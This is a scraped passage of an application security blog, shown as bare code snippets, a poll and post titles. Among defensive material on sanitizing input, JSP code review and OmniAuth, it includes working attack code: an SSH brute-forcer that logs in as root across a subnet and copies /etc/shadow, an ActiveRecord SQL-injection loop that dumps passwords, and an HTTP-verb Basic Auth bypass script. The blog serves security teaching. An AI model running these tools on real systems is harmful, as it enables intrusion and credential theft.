armoredcode.com - the application security blog that gets the job done

status quo

1
2
3
4

$ gem install ciphersurfer
$ gem install gengiscan
$ gem install codesake_links
$ gem install cross
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

module HTML
  class WhiteListSanitizer
      # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
    def sanitize_css(style)
      # disallow urls
      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')

      # gauntlet
      if style !~ /\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*\z/ ||
          style !~ /\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/
        return ''
      end

      clean = []
      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
        if allowed_css_properties.include?(prop.downcase)
          clean <<  prop + ': ' + val + ';'
        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
          unless val.split().any? do |keyword|
            !allowed_css_keywords.include?(keyword) &&
              keyword !~ /\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/
          end
            clean << prop + ': ' + val + ';'
          end
        end
      end
      clean.join(' ')
    end
  end
end

1
2
3
4
5
6
7
8
9
10

module HTML
    class WhiteListSanitizer
      self.protocol_separator = /:|(�*58)|(p)|(�*3a)|(%|%)3A/i

      def contains_bad_protocols?(attr_name, value)
        uri_attributes.include?(attr_name) &&
        (value =~ /(^[^\/:]*):|(�*58)|(p)|(�*3a)|(%|%)3A/i && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
      end
    end
  end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

require 'sinatra'

get '/' do
  @name = params[:name]
  erb :index
end

__END__

@@index 

    XSS test 

    Worked!

      Hello <%= @name %>

1
2
3
4
5
6

    Worked!

      Hello 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

function get_cookies_array() {

    var cookies = { };

    if (document.cookie && document.cookie != '') {
        var split = document.cookie.split(';');
        for (var i = 0; i < split.length; i++) {
            var name_value = split[i].split("=");
            name_value[0] = name_value[0].replace(/^ /, '');
            cookies[decodeURIComponent(name_value[0])] = decodeURIComponent(name_value[1]);
        }
    }

    return cookies;

}

1
2
3
4
5
6
7
8
9

int fd;
char **buf = malloc(8192);

fd = open("myfile", O_RDWR);
// some instructions here
read(fd, buf, 8192);
// other instructions there

close(fd);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#include 
#include 
#define BUF_SIZE 8192

int fd;
char **buf = malloc(BUF_SIZE);

fd = open("myfile", O_RDWR);
if (fd == -1) {
  perror("myapp");
  exit(-1);
}
if (flock(fd, LOCK_EX) == -1) {
  perror("myapp");
  exit(-1);
}

// you can now make something here without being worried about TOCTOU
// when you read... remember to leave a char for the end of line...
if (read(fd, buf, BUF_SIZE-1) == 1) {
  perror("myapp");
  exit(-1);
}

if (close(fd) == -1) {
  perror("myapp");
  exit(-1);
}

1

$ gem install net-ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

require 'yaml'

...

def self.read_conf(conf_file=nil)

  (conf_file.nil?)? file='./ssh_takedown.yaml' : file=conf_file
  (File.exists?(file))? config = YAML.load_file(file) : config = {"config"=>{"ports_to_scan"=>"22", "password_list"=>"root,password"}}

  config
end

# A basic configuration file...
#
# config:
#  ports_to_scan:  "22,2022,3022"
#  password_list:  "God,sex,xxx,Password,root,12345,1q2w3e4r"

# ... and its usage...
#
# 1.9.3-p194 :009 > require 'yaml'
# => true 
# 1.9.3-p194 :010 > read_conf("./con.yaml")
# => {"config"=>{"ports_to_scan"=>"22,2022,3022", "password_list"=>"God,sex,xxx,Password,root,12345,1q2w3e4r"}} 
# 1.9.3-p194 :013 > ports = conf["config"]["ports_to_scan"].split(',')
# => ["22", "2022", "3022"] 

1
2
3
4
5

require 'ipaddr'

net = IPAddr.new("192.168.1.0/24")
net.to_range # => #..#
net.to_range.count # => 256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

require 'ipaddr'
require 'net/ssh'

module Codesake
  module SSH
    class Takedown

      attr_reader :ports
      attr_reader :passwds
      attr_reader :target
      attr_reader :results

      def initialize(target, config)
        @ports = conf_to_ports(config)
        @passwds = conf_to_passwds(config)
        @target = target
      end

      def analyse
        @results = []

        @target.to_range.each do |host|
          @passwds.each do |pass|
            @ports.each do |port|
              @results << {:host=>host.to_s, :port=>port, :pass=>pass} if connect(host.to_s, port, pass)
            end
          end
        end
        @results
      end

      def takedown
        @results.each do |result|
          steal(result[:host], result[:port], result[:password])
        end
      end

      private

      def steal(host, port, password)
       begin
          ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
          data = ssh.exec!("cat /etc/shadow")
          f_d = File.new(host+"_shadow", "w")
          f_d.write(data)
          f_d.close
          ssh.close
          ret = true
        rescue => e
          ret = false
        end
        ret
      end

      def connect(host, port, password)
        begin
          ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
          ssh.close
          ret = true
        rescue => e
          ret = false
        end

      end

      def conf_to_ports(config)
        config["config"]["ports_to_scan"].split(',')
      end

      def conf_to_passwds(config)
        config["config"]["password_list"].split(',')
      end

    end
  end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

require 'yaml'
require 'ipaddr'

# defaulting values here
conf = Codesake::Config.read_conf
net = ARGV[0]

Kernel.exit(-1) if net.nil? or net.empty?

ips  =IPAddr.new(net)
engine = Codesale::SSH::Takedown.new(ips, conf)
results = engine.analyse

# steal /etc/shadow
engine.takedown

1

  u = User.find_by_id(params[:id])

1
2

User.find_by_id(1) # REGULAR CALL => SELECT "users".* FROM "users" WHERE "users"."id" = 1 LIMIT 1
User.find_by_id({:select =>"* from users where id=4 --"}) # INJECTION => SELECT * from users where id=4 -- FROM "users" WHERE "users"."id" IS NULL LIMIT 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#!/usr/bin/env ruby

require 'active_record'
require 'logger'

ActiveRecord::Base.logger = Logger.new(STDERR)

ActiveRecord::Base.establish_connection(
    :adapter => "sqlite3",
    :database  => ":memory:"
)

ActiveRecord::Schema.define do
    create_table :users do |table|
        table.column :email, :string
        table.column :password, :string
    end
end

class User < ActiveRecord::Base
end

User.create(:email=>'admin_email', :password=>'admin_pwd')
User.create(:email=>'foo_email', :password=>'foo_pwd')
User.create(:email=>'bar_email', :password=>'bar_pwd')
User.create(:email=>'vuln_email', :password=>'vuln_pwd')

puts "Using ActiveRecord #{ActiveRecord::VERSION::STRING}"
puts "Exploiting find_by_id"

100.times do  |i|
  u = User.find_by_id({:select =>"* from users where id=#{i} --"})
  puts "Password for user with id #{i} is: #{u.password}" unless u.nil?
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

sanitized_id = params[:id] # you have to consider the value tampered here

begin
  sanitized_id = sanitized_id.to_i
  # make your business logic specific choice here.
  #   * Can an id be negative?
  #   * Can an id be 0?
  #   * Have you got some particular constraint about ids? (e.g. valid ids are between 500 and 1200)
  sanitized_id = nil if sanitized_id <= 0
  sanitized_id = nil unless ( sanitized_id >= 500 and sanitized_id <= 1200)
rescue NoMethodError
  sanitized_id = nil
end

u = User.find_by_id(sanitized_id)

# Do your stuff

...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

require 'singleton'

module Codesake
  class Kernel
    include Singleton

    attr_reader   :engine

    NONE    = 0
    TEXT    = 1
    JSP     = 2
    UNKNOWN = -1

    def choose_engine(filename, options)

      engine = nil

      case detect(filename)
      when TEXT
        engine = Codesake::Engine::Text.new(filename)
      when NONE
        engine = Codesake::Engine::Generic.new(filename)
      when JSP
        engine = Codesake::Engine::Jsp.new(filename, options)
      end
      engine
    end

    def detect(filename)
      return NONE if filename.nil? or filename.empty?
      return TEXT if Codesake::Engine::Text.is_txt?(filename)
      return JSP if (File.extname(filename) == ".jsp")

      return UNKNOWN
    end
  end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

...

cli = Codesake::Cli.new
kernel = Codesake::Kernel.instance

options=cli.parse(ARGV)

...

cli.targets.each do |target|
  puts "processing #{target[:target]}" if target[:valid]
  $stderr.puts "can't find #{target[:target]}".color(:red) if ! target[:valid]

  engine = kernel.choose_engine(target[:target], options)

...

  results = engine.analyse
  results.each do |res|
    $stdout.puts "#{res}"
  end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

...

describe Codesake::Engine::Jsp do
  before(:all) do
    File.open("test.jsp", "w") do |f|
      f.write(jsp_content)
    end
    @jsp = Codesake::Engine::Jsp.new("test.jsp", {})
    @jsp.analyse
  end

  after(:all) do
    File.delete("test.jsp") if File.exists?("test.jsp")
  end

  it_behaves_like Codesake::Utils::Files
  it_behaves_like Codesake::Engine::Core

  ...

  it "analyses a jsp file for cookies" do
   expected_result = [{:line=>51, :name=>"name", :value=>"a_value", :var=>"c"}, {:line=>52, :name=>"second", :value=>"12", :var=>"cc"}]
   @jsp.cookies.should == expected_result
 end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Feature: codesake process a jsp page
  When a Jsp file is given as input, codesake analyses it with the
  Codesake::Engine::Jsp engine for security issues.

  When a Jsp file is analyzed the following information will be gathered:

  * imported packages
  * variable read from requests
  * cookies created
  * reserved keywords

  ...

  Scenario: codesake processing the file finds cookies that are created by the page
    Given the jsp file "/tmp/existing.jsp" with cookies does exist
    When I successfully run `bundle exec codesake /tmp/existing.jsp`
    Then the stdout should contain "cookie \"name\" found with value: \"a_value\" (/tmp/existing.jsp@51)"
    And the stdout should contain "cookie \"second\" found with value: \"12\" (/tmp/existing.jsp@52)"

1
2
3
4
5
6
7
8
9
10
11

module Codesake
  module Engine
    class Jsp
      include Codesake::Utils::Files
      include Codesake::Utils::Secrets
      include Codesake::Engine::Core

      ...

      attr_reader :cookies
      ...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

def find_cookies
  ret = []

  @file_content.each_with_index do |l, i|
    l = l.unpack("C*").pack("U*")
    m = /Cookie (.*?) = new Cookie \("(.*?)",(.*?)\)/.match(l);
    ret << {:line => i+1, :var => m[1].trim, :name => m[2].trim.gsub("\"", ""), :value => m[3].trim.gsub("\"", "")} unless m.nil?

    m = /Cookie (.*?) = new Cookie\("(.*?)",(.*?)\)/.match(l);
    ret << {:line => i+1, :var => m[1].trim, :name => m[2].trim.gsub("\"", ""), :value => m[3].trim.gsub("\"", "")} unless m.nil?

    m = /(.*?) = new Cookie \("(.*?)",(.*?)\)/.match(l);
    ret << {:line => i+1, :var => m[1].trim, :name => m[2].trim.gsub("\"", ""), :value => m[3].trim.gsub("\"", "")} unless m.nil?

  end
  ret
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14

def analyse
  ret =  []
  ...

  @cookies            = find_cookies

  ...
    @cookies.each do |c|
      ret << "cookie \"#{c[:name]}\" found with value: \"#{c[:value]}\" (#{@filename}@#{c[:line]})"
    end

    ret
  end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#!/usr/bin/env ruby

require 'net/http'

class Dammi < Net::HTTPRequest
  METHOD="DAMMI"
  REQUEST_HAS_BODY = false
  RESPONSE_HAS_BODY = true
end

raise "usage: dammi url page" if ARGV.length != 2

begin
  http=Net::HTTP.new(ARGV[0], 80)
  r_a = http.request(Dammi.new(ARGV[1]))
  puts r_a.body
rescue => e
  puts e.message
end

1

$ ./dammi.rb localhost /protected_resource

1

127.0.0.1 - - [13/Dec/2012 08:14:17] "DAMMI /protected_resource HTTP/1.1" 404 40 0.0008

1
2
3
4
5
6
7
8
9

#!/usr/bin/env ruby
# encoding: UTF-8

require 'trimmy'
require 'rainbow'

# XXX: Performance issue. @lines is looped several times in order to keep tests
# small. A clever approach could be looping the line vector only once instead
# of replicate the loops several times.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

module Sake
  class Jsp

    attr_reader :lines
    attr_reader :filename

    attr_reader :results

    FALSE_POSITIVES = ["request.getContextPath()", "request.getLocalName()", "request.getLocalPort()"]
    SUSPECTED_SECRETS = ["password", "username", "login", "xxx", "todo", "fix", "fixme", "passwd"]

    def initialize(options={})
      @filename = options[:filename] unless options[:filename].nil?
      @lines = {}
      @results = {}

    end

1
2
3
4
5
6
7
8
9
10
11

def sake_it
  @lines = read_file
  @results[:reflected]= find_reflected_vars
  @results[:import] = find_imports
  @results[:secrets] = find_secrets
  @results[:entrypoints] = find_attack_entrypoints
end

def self.is_false_positive?(var)
  FALSE_POSITIVES.include?(var)
end

1
2
3
4
5

 private

    def read_file
      return File.readlines(@filename) if File.exists?(@filename)
    end

1
2
3
4
5
6
7
8
9
10

def find_secrets
  ret = []
  @lines.each_with_index do |l, i|
    l = l.unpack("C*").pack("U*")
    l.split.each do |tok|
      ret << {:line=> i+1, :matcher=>tok, :line=>l} if SUSPECTED_SECRETS.include?(l.downcase)
    end
  end
  ret
end

1
2
3
4
5
6
7
8
9
10

def find_imports
  ret = []
  @lines.each_with_index do |l, i|
    l = l.unpack("C*").pack("U*").trim
    m = /<%@page import="(.*?)"%>/.match(l)
    ret << {:line => i+1, :package=>m[1].trim} unless m.nil?
  end

  ret
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

def find_attack_entrypoints
  ret = []
  @lines.each_with_index do |l, i|
    l = l.unpack("C*").pack("U*")
    m = /request.getParameter\((.*?)\)/.match(l)
    ret << {:line => i+1, :var => m[1].trim} unless m.nil?

    m = /request.getParameterValues\((.*?)\)/.match(l)
    ret << {:line => i+1, :var => m[1].trim} unless m.nil?

    m = /request.getAttribute\((.*?)\)/.match(l)
    ret << {:line => i+1, :var => m[1].trim} unless m.nil?

  end

  ret
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

def find_reflected_vars
  ret = []
  @lines.each_with_index do |l, i|
    # <%=avar%> #=> /<%=(\w+)%>/.match(a)[1] = avar
    l = l.unpack("C*").pack("U*")
    m = /<%=(.*?)%>/.match(l)
    ret << {:line => i+1, :var=> m[1].trim} unless m.nil?

    m = /out\.println\((.*?)\)/.match(l)
    ret << {:line => i+1, :var=> m[1].trim} unless m.nil?

    m = /out\.print\((.*?)\)/.match(l)
    ret << {:line => i+1, :var=> m[1].trim} unless m.nil?

    m = /out\.write\((.*?)\)/.match(l)
    ret << {:line => i+1, :var=> m[1].trim} unless m.nil?

    m = /out\.writeln\((.*?)\)/.match(l)
    ret << {:line => i+1, :var=> m[1].trim} unless m.nil?
  end

  ret
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

raise "Missing filename." if ARGV[0].nil?

jsp = Sake::Jsp.new({:filename=>ARGV[0]})
jsp.sake_it

jsp.results[:import].each do |res|
  puts "Imported package: #{res[:package]}@#{res[:line]}".color(:white)
end

jsp.results[:reflected].each do |res|
  puts "Reflected variable found: #{res[:var]}@#{res[:line]}".color(:red) unless Sake::Jsp.is_false_positive?(res[:var])
  puts "User should not be able to tamper: #{res[:var]}@#{res[:line]}".color(:yellow) if Sake::Jsp.is_false_positive?(res[:var])
end

jsp.results[:secrets].each do |res|
  puts "Suspected sensitive string found: #{res[:line]}@#{res[:line]}".color(:white)
end

jsp.results[:entrypoints].each do |res|
  puts "Variable read from request: #{res[:var]}@#{res[:line]}".color(:red)
end

1
2
3
4
5

...
  when '--report'
    fn = Nexty::Report.generate_from_a_list_of_sites(arg, nsc)
    puts "Report saved: #{fn}".color(:white)
...

1
2
3
4
5
6
7
8
9

def self.generate_from_a_list_of_sites(site_list=nil, nsc)
  sites=Nexty::Sites.load_from_file(site_list)
  s = []
  sites.each do |site|
    s << nsc.find_site_by_name(site)
  end
  result = Nexty::Report.generate(nsc, s, {:template=>"my-default-template", :format=>'csv', :filename=>nil, :scan_to_include=>4})
  Nexty::Report.download(result[:url], result[:filename], nsc)
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

def self.generate(nsc, list, options={:template=>'', :filename=> '', :format=>"csv", :scan_to_include=>1})

  options[:filename] = "export_#{Time.now.strftime("%Y%m%d%H%M%s")}.csv" if options[:filename].nil? or options[:filename].empty?
  report = Nexpose::ReportConfig.new(nsc)
  report.set_name(options[:filename])
  report.set_template_id(options[:template])
  report.set_format(options[:format])

  list.each do |item|
    site_config = Nexpose::SiteConfig.new
    site_config.getSiteConfig(nsc, item[:site_id])
    scan_history = nsc.site_scan_history(item[:site_id])
    scan_history.sort! { |a,b| b[:start_time] <=> a[:start_time]}
    scan_history.take(options[:scan_to_include]).each do |scan|
      report.addFilter('scan', scan[:scan_id])
    end
  end

  report.saveReport

  url = nil
  while not url
    url = nsc.report_last(report.config_id)
    select(nil, nil, nil, 10)
  end

  full_url="https://#{nsc.host}:#{nsc.port}#{url}"

  {:url=>full_url, :filename=>options[:filename]}
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

def self.download(url, filename, nsc)
  return nil if url.nil? or url.empty?
  uri = URI.parse(url)
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue
  headers = {'Cookie' => "nexposeCCSessionID=#{nsc.session_id}"}
  resp = http.get(uri.path, headers)

  file = File.open(filename, "w")
  file.write(resp.body)
  file.close

  filename
end

1
2
3

...
gem 'omniauth-github', :git => 'git://github.com/intridea/omniauth-github.git'
...

1
2
3

 use OmniAuth::Builder do
    provider :github, "your client id", "your client secret"
  end

1

$ bundle exec padrino g controller auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

get :github_callback, :map => "/auth/github/callback" do

    omniauth = request.env["omniauth.auth"]

    @user = User.find_uid(omniauth["uid"])
    @user = User.new_from_omniauth(omniauth) if @user.nil?

    # save @user into your session to say he's authenticated
  end

  get :github_callback_failed, :map => "/auth/failure" do
    flash[:error] = "Error logging with github.com #{params[:message]}"

    redirect url("/")
  end

1
2

$ bundle exec padrino g model user uid:integer name:string email:string created_at:datetime update_at:datetime
$ bundle exec padrino rake dm:migrate

1
2

  property :created_at, DateTime, :default=>Time.now
  property :update_at, DateTime, :default=>Time.now

1
2
3
4
5
6

gem 'rspec', :group => "test"
gem 'capybara', :group => "test"
gem 'cucumber', :group => "test"
gem 'rack-test', :require => "rack/test", :group => "test"
gem 'webmock', :group=>"test"
gem 'factory_girl', :group => "test"

1
2
3
4
5
6
7
8
9
10
11

require 'factory_girl'

require 'webmock/rspec'

FactoryGirl.definition_file_paths = [
    File.join(Padrino.root, 'factories'),
    File.join(Padrino.root, 'test', 'factories'),
    File.join(Padrino.root, 'spec', 'factories')
]

FactoryGirl.find_definitions

1
2
3
4
5

  it "should have an email" do
    user = FactoryGirl.create(:user)
    user.email = ""
    user.valid?.should  be_false
  end

1

$ bundle exec padrino rake spec:models

1
2
3

...
  validates_presence_of, :email
...

1
2
3
4
5
6
7
8
9
10
11
12
13

def self.find_uid(uid)
  User.first(:uid=>uid)
end

def self.new_from_omniauth(omniauth)
  user = User.new
  user.uid = omniauth["uid"]
  user.name= omniauth["info"]["nickname"]
  user.email= omniauth["info"]["email"]

  user.save!
  user
end

Answer	Votes	Percentage
You’re wrong. I do make a web application penetration test when I deploy a new web application or a new feature	8	23,5%
No budget. Security costs are too high for us, we’re a startup and we’re focused on business first	16	47,1%
No need to. We’re a big development team. Our code is robust and strong. We won’t occur in any security incident. Ever	1	2,9%
No time. We are missing our deadlines. We don’t have time to spent in security tests. We are safe from risks. We have firewalls.	4	11,8%
I don’t care. Seriously, security is a word spent by sales men to sell antivirus or similiar stuff. I don’t think my web application will be attacked by “so called” hackers.	5	14,7%

armoredcode.com - the application security blog that gets the job done

Railsberry chronicles: day 2 - The English penetration test (eventually the day I talk to 450+ oustanding developers)

A particular mention to…

My slides and the videos

Railsberry 2013 - Navigating the attack target after the information gathering stage

Railsberry 2013 - First XSS spotted in the wild

Railsberry 2013 - Information gathering

Railsberry 2013 - Bruteforce users login name

Railsberry 2013 - Find reflected XSS with cross

Railsberry chronicles: day 1 - The unerdware experiment

Railsberry chronicles: day 0 - the trip

In Poland for the second time

Train tripper

I don't care if app is unsecure, it's friday I'm in love

Slightly intended to turn on provocation

Results

Other answers

My comments

Being nervous and anxious before a talk

Point of singularity

Some stats

What I will be talk about

Untold: nobody will make a cinema story over this blog and I'm fine

Appsec is like cooking: teach other people and use recipes

The great pretender(s)

Codesake.com and an apparent abuse of procrastination

Railsberry: two weeks to go

Happy birthday armoredcode and 4 rails advisories

Is rails under attack?

The cross site scripting menace

Reflected cross site scripting

Worked!

Worked!

Stored cross site scripting

DOM Based cross site scripting

Happy birthday armoredcode.com

Creating awereness on an hostile environment

The harsh part of the story

An hostile marketplace

Tell me your now

Ruby on Rails cheatsheet: the review

The review

We love

We love less

Off by one

Exploiting SSH weak passwords the ruby way

Scenario

Implementation

Off by one

Is Vulnerability Management a buzz word?

Something we have: a physical device

Something we don’t have: the cloud

An appsec guy would ask

Defending yourself is not a crime

CVE-2013 and CVE-2013 and a framework that has bugs

Java 0-day

Off by one

CVE-2012-5664: Sql Injection on Rails... again

Dynamic finders

Exploiting it

The old fashioned defensive programming practice

Off by one

codesake engine and two weeks of BDD development

2 weeks of BDD workflow

Working on a new feature

Mixing up static and dynamic

Roadmap

Bypassing HTTP Basic Authentication in PHP application nominated as hacking technique for 2012

Original work by…

The attacking script

Off by one

Driven by real world task: code reviewing JSP using regular expressions

Starting from the view

Deep into the scanner

Off by one

Use the Nexpose API to automate report generation and download

Something you can’t play well with the GUI: reports

Nexty::Report API

Off by one

Crafting an authentication subsystem that rocks for your Padrino application with Omniauth